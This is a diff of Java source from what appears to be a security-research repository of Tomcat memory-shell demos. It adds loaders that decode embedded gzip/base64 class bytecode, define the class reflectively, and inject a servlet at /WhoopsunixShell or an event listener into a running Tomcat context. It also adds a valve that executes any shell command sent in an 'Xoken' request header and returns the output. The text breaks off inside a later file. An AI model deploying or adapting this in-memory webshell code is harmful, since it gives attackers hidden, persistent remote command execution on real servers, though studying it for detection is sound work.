b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/ServletThreadLoader.java @@ -0,0 +1,330 @@ +package com.demo.memshell.loader; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.*; +import java.util.*; +import java.util.zip.GZIPInputStream; + +/** + * @author Whoopsunix + *

+ * 5-10 全版本 + */ +public class ServletThreadLoader { + private static String gzipObject = "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"; + private static Object object = null; + private static String NAME = "Whoopsunix"; + private static String PATTERN = "/WhoopsunixShell"; + + public ServletThreadLoader() { + } + + static { + try { + getObject(); + + // 获取 standardContext + Object standardContext = getTargetObject("org.apache.catalina.core.StandardContext"); + if (!isInject(standardContext)) { + inject(standardContext); + } + + } catch (Throwable e) { + + } + } + + public static boolean isInject(Object standardContext) { + try{ + Object container = invokeMethod(standardContext, "findChild", new Class[]{String.class}, new Object[]{NAME}); + if (container!= null) { + return true; + } + + }catch (Exception e){ + + } + return false; + } + + public static void inject(Object standardContext) { + try { + if (object == null) + return; + // wrapper 封装 + Object wrapper = invokeMethod(standardContext, "createWrapper", new Class[]{}, new Object[]{}); + invokeMethod(wrapper, "setName", new Class[]{String.class}, new Object[]{NAME}); + invokeMethod(wrapper, "setServletClass", new Class[]{String.class}, new Object[]{object.getClass().getName()}); + invokeMethod(wrapper, "setServlet", new Class[]{Class.forName("javax.servlet.Servlet")}, new Object[]{object}); + + // 添加到 standardContext + invokeMethod(standardContext, "addChild", new Class[]{Class.forName("org.apache.catalina.Container")}, new Object[]{wrapper}); + + try { + // M1 Servlet映射到URL模式 + invokeMethod(standardContext, "addServletMapping", new Class[]{String.class, String.class}, new Object[]{PATTERN, NAME}); + } catch (NoSuchMethodException e) { + // M2 Servlet3 新特性 Dynamic + getConstructorObject("org.apache.catalina.core.ApplicationServletRegistration", new Class[]{Class.forName("org.apache.catalina.Wrapper"), Class.forName("org.apache.catalina.Context")}, new Object[]{wrapper, standardContext}); + invokeMethod(Class.forName("javax.servlet.ServletRegistration$Dynamic"), "addMapping", new Class[]{String[].class}, new Object[]{new String[]{PATTERN}}); + } + } catch (Exception e) { + + } + } + + public static void getObject() throws Exception { + // 动态代理兼容 javax jakarta + Class servletClass = null; + try { + servletClass = Class.forName("jakarta.servlet.Servlet"); + } catch (Exception e) { + try { + servletClass = Class.forName("javax.servlet.Servlet"); + } catch (ClassNotFoundException ex) { + + } + } + + byte[] bytes = decompress(gzipObject); + + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length); + Object javaObject = clazz.newInstance(); + + object = Proxy.newProxyInstance(servletClass.getClassLoader(), new Class[]{servletClass}, (InvocationHandler) javaObject); + } + + + // tools + public static byte[] decompress(String gzipObject) throws IOException { + final byte[] compressedData = new sun.misc.BASE64Decoder().decodeBuffer(gzipObject); + ByteArrayInputStream bais = new ByteArrayInputStream(compressedData); + try { + GZIPInputStream gzipInputStream = new GZIPInputStream(bais); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[1024]; + int len; + while ((len = gzipInputStream.read(buffer)) > 0) { + baos.write(buffer, 0, len); + } + return baos.toByteArray(); + } catch (Exception e) { + + } + return null; + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + } catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + field.set(obj, value); + } + + public static Object invokeMethod(Object obj, String methodName, Class[] argsClass, Object[] args) throws Exception { + Method method; + try { + method = obj.getClass().getDeclaredMethod(methodName, argsClass); + } catch (NoSuchMethodException e) { + method = obj.getClass().getSuperclass().getDeclaredMethod(methodName, argsClass); + } + method.setAccessible(true); + Object object = method.invoke(obj, args); + return object; + } + + public static Object getTargetObject(String className) throws Exception { + List activeClassLoaders = new ServletThreadLoader().getActiveClassLoaders(); + + Class cls = getTargetClass(className, activeClassLoaders); + + // 死亡区域 已检查过的类 + HashSet breakObject = new HashSet(); + breakObject.add(System.identityHashCode(breakObject)); + + // 原始类型和包装类都不递归 + HashSet breakType = new HashSet(Arrays.asList(int.class.getName(), short.class.getName(), long.class.getName(), double.class.getName(), byte.class.getName(), float.class.getName(), char.class.getName(), boolean.class.getName(), Integer.class.getName(), Short.class.getName(), Long.class.getName(), Double.class.getName(), Byte.class.getName(), Float.class.getName(), Character.class.getName(), Boolean.class.getName(), String.class.getName())); + + Object result = getTargetObject(cls, Thread.currentThread(), breakObject, breakType, 30); + + return result; + } + + /** + * 递归查找属性 + */ + public static Object getTargetObject(Class targetCls, Object object, HashSet breakObject, HashSet breakType, int maxDepth) { + // 最大递归深度 + maxDepth--; + if (maxDepth < 0) { + return null; + } + + if (object == null) { + return null; + } + + // 寻找到指定类返回 + if (targetCls.isInstance(object)) { + return object; + } + + // 获取内存地址,来标识唯一对象 + Integer hash = System.identityHashCode(object); + + if (breakObject.contains(hash)) { + return null; + } + breakObject.add(hash); + + // 获取对象所有 Field + Field[] fields = object.getClass().getDeclaredFields(); + ArrayList fieldsArray = new ArrayList(); + Class objClass = object.getClass(); + while (objClass != null) { + Field[] superFields = objClass.getDeclaredFields(); + fieldsArray.addAll(Arrays.asList(superFields)); + objClass = objClass.getSuperclass(); + } + fields = (Field[]) fieldsArray.toArray(new Field[0]); + + + for (Field field : fields) { + try { + Class type = field.getType(); + + if (breakType.contains(type.getName())) { + continue; + } + + // 获取 Field 值 + field.setAccessible(true); + Object value = field.get(object); + Object result = null; + + // 递归查找 + if (value instanceof Map) { + // Map 的 kv 都要遍历 + Map map = (Map) value; + for (Object o : map.entrySet()) { + Map.Entry entry = (Map.Entry) o; + result = getTargetObject(targetCls, entry.getKey(), breakObject, breakType, maxDepth); + if (result != null) { + break; + } + result = getTargetObject(targetCls, entry.getValue(), breakObject, breakType, maxDepth); + if (result != null) { + break; + } + } + } else if (value instanceof Iterable) { + // 集合的元素都要遍历 + Iterable iterable = (Iterable) value; + for (Object o : iterable) { + result = getTargetObject(targetCls, o, breakObject, breakType, maxDepth); + if (result != null) { + break; + } + } + } else if (type.isArray()) { + // 数组的元素都要遍历 + Object[] array = (Object[]) value; + for (Object o : array) { + result = getTargetObject(targetCls, o, breakObject, breakType, maxDepth); + if (result != null) { + break; + } + } + } else { + result = getTargetObject(targetCls, value, breakObject, breakType, maxDepth); + } + + if (result != null) { + return result; + } + } catch (Throwable e) { + + } + } + + return null; + } + + + /** + * 遍历 ClassLoader 加载目标 Class + */ + public static Class getTargetClass(String className, List activeClassLoaders) { + for (ClassLoader activeClassLoader : activeClassLoaders) { + try { + return Class.forName(className, true, activeClassLoader); + } catch (Throwable e) { + + } + } + return null; + } + + /** + * 获取活跃线程 + */ + public List getActiveClassLoaders() throws Exception { + Set activeClassLoaders = new HashSet(); + + // 加载当前对象的加载器 + activeClassLoaders.add(this.getClass().getClassLoader()); + + // 当前线程的上下文类加载器 + activeClassLoaders.add(Thread.currentThread().getContextClassLoader()); + +// // 应用程序类加载器 +// ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader(); +// activeClassLoaders.add(systemClassLoader); +// +// // 扩展类加载器 +// activeClassLoaders.add(systemClassLoader.getParent()); + + // 获取线程组 + ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); + Thread[] threads = new Thread[threadGroup.activeCount()]; + int count = threadGroup.enumerate(threads, true); + for (int i = 0; i < count; i++) { + activeClassLoaders.add(threads[i].getContextClassLoader()); + } + + return new ArrayList(activeClassLoaders); + } + + public static Object getConstructorObject(String className, Class[] cls, Object[] object) { + try { + Constructor constructor = Class.forName(className).getDeclaredConstructor(cls); + constructor.setAccessible(true); + Object obj = constructor.newInstance(object); + return obj; + } catch (Exception e) { + + } + return null; + } + +} diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/TomcatContextClassLoader.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/TomcatContextClassLoader.java new file mode 100644 index 0000000..5ae4a19 --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/TomcatContextClassLoader.java @@ -0,0 +1,88 @@ +package com.demo.memshell.loader; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.Base64; +import java.util.List; +import java.util.zip.GZIPInputStream; + +/** + * @author Whoopsunix + */ +public class TomcatContextClassLoader { + public static String base64Str = "H4sIAAAAAAAAAJVYB3hT1xX+ryX7yUKAsQmOE8IetjwEhGkDwcYGHCwxZEiMoe2z/GwLZEmRnjwgZLRN2tLsrqR7kzZtw2iECSUlaZu2aWm60qR773TPpIP+974n2fIA+n3g93zvuWf85z/n3Odn/vv4EwCWi90Ci2OJbp8xoPfGI4YvEk6aRtRI+Frsl82xzoPhSET3BzUIgaL9ep/ui+jRbt+2jv1GyNTgEFggVwd8SSPRFzFMX9B67jRuShlJM6NJQ75AwdpwNGyuF3CUV9C2c2Os0xCY2hKOGoFUb4eRaNU7IlwpbomF9MhuPRGWv9uLTrMnnBSoaLlMj+s80OByw4kp1Jiw3Gmm/bAeCR80OgUWlbdczPWmPiNq1klHS4bjbu1JxPqlQxqKGZCeSGxLmQKzlSZfOOZrGDSN+kRCH+R6PGUGzYSh99YJiC4Z12gAuVHcY5rxXMtMyyjPpIxvyxhBHteSRjIZjkUF5kx8RklQ2JUwkvFYNEk4R8c+1oIlyVPOTt3UBfLaG5i5ZIKH518GcAJzLymkYZ7AwssKVcMCgVkXj1DDImb18uLSUK5htsDkoKmHDvj1uE2zad2GOTobc8orLhowqVaFajfmo0bArRTYOZk35uSYrHiwBEsnYSGWCUzqHnZQYG35WL5cRF1u2jxYjhVu5GElExjXk8lc+pGX4Wg3pVZjTSGlagU8NL5dT+i9hmkkstWRI14xnoa1WCfdZ1l7OvSksXJ5oxFShT1jPA3tDR5sQL30jHQSA2RweXvDHrXeiCa5volrcX0wEtM7XdhiOVZv8nxHyjQu7ZiNlAfXY+skLEYLed9pdG2MKBCuoLWR0mqZwgFsk7a301wyx9ziccyNk5fdHuxEUNprJQfiGRyTLuyW6HDxmou2CA1tbuyRvWrqKOc07CUzokZ/czRp6tEQfZpePm7Ar8Ar3diHV7ExkZh6RIU7jq97POhASLZGdsFContDIqxyXprRSy+3M1J7g6q70D0JFehhB+jtXOHBfos2B3KGgoWOhl5qTaY6kupXyYPm5nGZE0PcjShuynTYXKsa6H9+v3wfFUcm6cQ8hT43TPQzx2YsaBvMhSdrbhAHZcyHiKYZyyaB5VGu2HcYt8gM3JrlcVM0w+NcymQV3o5XS868Rro3UYR3yAjvJEz2BGrk/0RsUM6fEWOlaSBkxE3Vwt5A9tuyLryRDYr52RQ2Ip279UiK3qweJ6OXWRB34x7p770uzCRHQ5JcEgbCPCWViCiytbDoJBPKrPNRtphdO1tGbLGvF7Ka/IbZE2MMV42wkzC6IjTks/YoWDqBDg1vI8gjNzU8lMMkjllD79TwDsYfSiUSnBXW0ujkWquM7V14txvvxHuYCwK2MRY1jQEzN6TyMXVvh+TB+/B+efoDvF+Ut+eEXjfBGUk+DR9y40F8mDbHFdLwMLlGtHjBUcsufJQTZli2mV52S7mPkYWtbdubuDtOb/oEHi3Ex3HMmk5srxE9YXRmUrBhnNJoH6OlYuJEeXACJ2Xj+KTAlRNJaUgzF7I1hkJycll3svI9EochnHbjFB4nc/skSbd1qaIfadKOlLY+hbNuBvMEm1Q42hc7QDVrxqF0+zh9azxOn8OT0vZTJHS2iEhoEWJS7FkZSgzGzZhvYzjeo/grjMzeqOKTe/Is+5fYY9fnqOMavswWWN8UdOEr1rwe7soVEw6m0T548FV8zY3z+DqvjjkCybgR4u0ilDDMrcZgkL9p+CbvXgMhD75l9dzn2etoV1WuB9+WXSuK78jm3d4wfpPU8D03nsP3mTB5AZeizZZk0mB1hc1BH40p0R/iR9KvHzOVnbFN4ageYZ5k/5Md8qf4mdz8OWfZqON+UkLvNhrD3dat1EH/+dPfuMKFXwtcfRFpDb8VWDrxTJ/AhoTwd268iN/TwYgR7TZ71HdFswd/xJ8kJH/mRirOu6th3TE4hBjgX/E3eervbCRKfa9u9vgawt3ZUvwnj3UqGx68LMF9Ef+SGDQTBIXlf9x4Cf+V44S9/SVSRY6TXfG4kdjIseEReXLMRAW/jDRrgrD3FFgThYnskEOtz2rlquHVpMxwpKZB7btEIU91xRIB3h54M77ETcfuD2KS8LB8xWTr8mkbdYmp1nC36tcjpqkiF8UWfezrUMnYpkiF08UVnJRiBgeDobS12rPVJa5kaSdT0ZrecDJU01AfbMrMSRq8Sl481C8uMVMyyLDDd1tty5KaLQE2LKm5Y7Vl5eZzRlhyDamuLrmykBmOdexnWF1yIFog5av37MTKaV1qbtZZAW+yxNaXj4n34iDn6vKISlHFISqqM+NtrJAmfHS0W1bAogmv8LltTCwVy9xiibjW/saxdgOxYCrUo3QOXxDECrLIGMh8700sybjzOSkOHiTGuR/Ug/HMR/X00WCs9a7nuaIRY8bGrfoSXBwN01qxTrJtPaOSg0HeYoIp1oi6dXhEvWTYPsFPgMJguDuqmyn5XVk/JjnSn//HMHO9NhSx/8xQdG1opbGkY7W+JrR0xbJly3WX2OzC6pzMWRobUuGIHNjierfYKi/hBToLOnoZceecZ9x+EaAKsU3qOSTvyeskW3ayBoKxVCJkbApL3EvH/r2iRurEXDZ4J1tKARwolB0f4HO1/dyvnh7ua3DxZyF/uxayBQH53lOYepwveXDzp7zoAVdQWSkm2YcoxOdkPokNplkKxGOUcXHtqco0fOew0F91GuRhwFuVxqpaZ9UJ1J3GdXmc8htr871l+Y40NtfmVxc3n4Y/D5/HdL5yOY0dp7HLgaPoryq+oSz/NG504Az2tJ1Ce21BRvwc9qWh12plWllBGsYNZVqVejhPIyx4D4k4iorSSKQxUKalcXNmwyulb3PS8hBeKzez8lL8dVw5Cqf/uIrxLI2UED6JQoBvwNWMbyamYhZmYA4WEORqzCOo89HMT7MgFmEvv9siKOeXRAUOwYt7UIk386P+EUqexVJq9OFJLFNI7qS2vdAxnegW8NQOai1VCXkMV6KMuE/lje0qWnVw5ygtX0OEF+Ah2p/NDBBpOwvybQ69EbQGWnJeoEMFGvI0zNewUMNiDRUa3cEFJOWq3AAaNBmVwOszKcQKlXauDee/QGGxUnk8w9rMWhW2VSH/RmCrCFBG+jZL+CuL7xrCfYHqEtzP5zlU+I/CVes8CkfVMUrnMfJSHLG9pu4L/NWhnHPSXwgNRySF+UVNWan7YXrj5LP1DB5sc5zF24fw3jQ+eApH/cUfKX6k4Cz2tTmKvcE25wkcD7bly59pPBaoZsLPVFdx39nmqOS2Ywif5n7lE/KZxmfIpmPZiIuVjUY+m5itTYxts4rea9nORt+KB5gHQbkGvIlZzqP0QrwFb2W+Pst96XsJ/zdSj4XN87b/lcXPDuEbgeqZD0EjHM78M3iu7QReSOO7xc+ewg/S+Ek1i+gXxwLimIJ/MSl1xKbiDAVvC1X5Sb4Ad7YRrO3KxeXcK+Dq5/A0pSsgy+oLfKPJrNuV+KJyW749gy9RRsK/Fo4L5JtTwe8l9Ocl/ucvyDhGrPHlvBjOk1eoLKmOss4OkvEoi0tES/FvhvAHf5WXcTn44y9p/OMMXmpzslT/fQoXWHJCpIWzRdZcpUUJL+mbiXQWiwHYxdUbWRRtLJM93N9LiXbU8DNDRjyHsi5G/Ax+qci5hNGtUamswa/4ZpGrRJKrWnrMD+Oo5TOd5Xe3xSzBclGw9gt/iXAPiSktlSWiiM6VVAryI1CdFqUlosyZYRg3qp2KTl6LP1Fyuy5QIq5WZ2VrcpY51aFrRh4qc445lc/WeIxu5KGWGB7BesRZpBkMljFvQAd3O+moQeS7KBelZDclw6TWfmzFAZ7p5akIUogpXLYQu1LMF/kyVzy5XBTgUaKxFQvVmpMna+y19ViV5Uk/sZmt8EsJF/Gz2OGV7Fgnk+5FBsALLHmnvSDxlGsvU1uG+pIVG1BvA7zNBvjwSIDnjAZ4no1VdCzAXv4jWuuJ8YIxGC8aeW4UxvbBYZjX0a0jdKyPN+9cmE3u9tHdfgI0QLnbKDlIyUOE82aW2mHu3sqVW7hy+wiYF4lZNsyrbEhZlmrNSYml9lo9E5eB+TDRsmh6iDDPHgnzBglzFBJZC+bVEma1MBHMd3POWB1yB59S/1QvcakcEjWy+sTy4eZmjfM7KHxntn4oLhbTWai3clU1hSgQFcJL6RGG5J3VNnRW3S9Ahvm9lWlxnb+KmdhwFNMDtLfxaXjkw3LAKuzJKBIreUQ6MU/dE45w9S6+3c29+3mPuIdj6F5Ovvs4Ux7IdtxpPLdKrFZuzhdriCTUm+VmHuZabora7N2EUqJOtTd7qhRJRPdJmvIOKTSxskg0SkBEE1xiU/YC1KygASpKxJaTeKFENJ9E3Rmxte2UaOHdJS22yxYttqfFjiERPInIcTUCZUBTlHvTyPFiOsGmL1qVgV3/A2iRB94jGwAA"; + static { + try { + byte[] bytes = decompress(Base64.getDecoder().decode(base64Str)); + + URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); + Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defMethod.setAccessible(true); + Class cls = (Class) defMethod.invoke(urlClassLoader, bytes, 0, bytes.length); + Object object = cls.newInstance(); + + // 获取 standardContext + Object webappClassLoaderBase = Thread.currentThread().getContextClassLoader(); + Object standardContext; + try { + Method getResourcesmethod = webappClassLoaderBase.getClass().getDeclaredMethod("getResources"); + getResourcesmethod.setAccessible(true); + Object resources = getResourcesmethod.invoke(webappClassLoaderBase); + Method getContextmethod = resources.getClass().getDeclaredMethod("getContext"); + getContextmethod.setAccessible(true); + standardContext = getContextmethod.invoke(resources); + } catch (Exception ignored) { + Object root = getFieldValue(webappClassLoaderBase, "resources"); + standardContext = getFieldValue(root, "context"); + } + + List applicationEventListeners = (List) getFieldValue(standardContext, "applicationEventListenersList"); + for (Object applicationEventListener : applicationEventListeners) { + if (applicationEventListener.getClass().getName().contains(object.getClass().getName())) { + applicationEventListeners.remove(applicationEventListener); + break; + } + } + + standardContext.getClass().getDeclaredMethod("addApplicationEventListener", Object.class).invoke(standardContext, object); + + }catch (Exception e){ + + } + } + + public static byte[] decompress(byte[] compressedData) throws IOException { + ByteArrayInputStream bais = new ByteArrayInputStream(compressedData); + try (GZIPInputStream gzipInputStream = new GZIPInputStream(bais)) { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[1024]; + int len; + while ((len = gzipInputStream.read(buffer)) > 0) { + baos.write(buffer, 0, len); + } + return baos.toByteArray(); + } + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + } catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } +} diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/ValveExecMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/ValveExecMS.java new file mode 100644 index 0000000..3915e46 --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/ValveExecMS.java @@ -0,0 +1,101 @@ +package com.demo.memshell.loader; + + +import java.io.InputStream; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Method; + +/** + * @author Whoopsunix + */ +public class ValveExecMS implements InvocationHandler { + + private static String HEADER = "Xoken"; + private Object targetObject; + + + public ValveExecMS() { + } + + public ValveExecMS(Object targetObject) { + this.targetObject = targetObject; + } + + public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { + if (method.getName().equals("invoke")) { + try { + run(args[0], args[1]); + } catch (Exception e) { + + } + Class clazz = (Class) getFieldValue(method, "clazz"); + Object valve = clazz.getMethod("getNext").invoke(targetObject, null); + invokeMethod(valve, "invoke", new Class[]{args[0].getClass(), args[1].getClass()}, new Object[]{args[0], args[1]}); + } else { + return method.invoke(targetObject, args); + } + return null; + } + + public void run(Object request, Object response) { + try { + String header = (String) invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{HEADER}); + String result = exec(header); + invokeMethod(response, "setStatus", new Class[]{Integer.TYPE}, new Object[]{new Integer(200)}); + Object writer = invokeMethod(response, "getWriter", new Class[]{}, new Object[]{}); + invokeMethod(writer, "println", new Class[]{String.class}, new Object[]{result}); + } catch (Exception e) { + + } + } + + public static String exec(String str) throws Exception { + String[] cmd; + if (System.getProperty("os.name").toLowerCase().contains("win")) { + cmd = new String[]{"cmd.exe", "/c", str}; + } else { + cmd = new String[]{"/bin/sh", "-c", str}; + } + InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); + return exec_result(inputStream); + } + + public static String exec_result(InputStream inputStream) throws Exception { + byte[] bytes = new byte[1024]; + int len; + StringBuilder stringBuilder = new StringBuilder(); + while ((len = inputStream.read(bytes)) != -1) { + stringBuilder.append(new String(bytes, 0, len)); + } + return stringBuilder.toString(); + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + } catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public static Object invokeMethod(Object obj, String methodName, Class[] argsClass, Object[] args) throws Exception { + Method method; + try { + method = obj.getClass().getDeclaredMethod(methodName, argsClass); + } catch (NoSuchMethodException e) { + method = obj.getClass().getSuperclass().getDeclaredMethod(methodName, argsClass); + } + method.setAccessible(true); + return method.invoke(obj, args); + } +} diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/ValveThreadLoader.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/ValveThreadLoader.java new file mode 100644 index 0000000..d4c238f --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/loader/ValveThreadLoader.java @@ -0,0 +1,307 @@ +package com.demo.memshell.loader; + + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.*; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.*; +import java.util.zip.GZIPInputStream; + +/** + * @author Whoopsunix + * + * ValueExecMS 8 + */ +public class ValveThreadLoader { + private static String gzipObject = 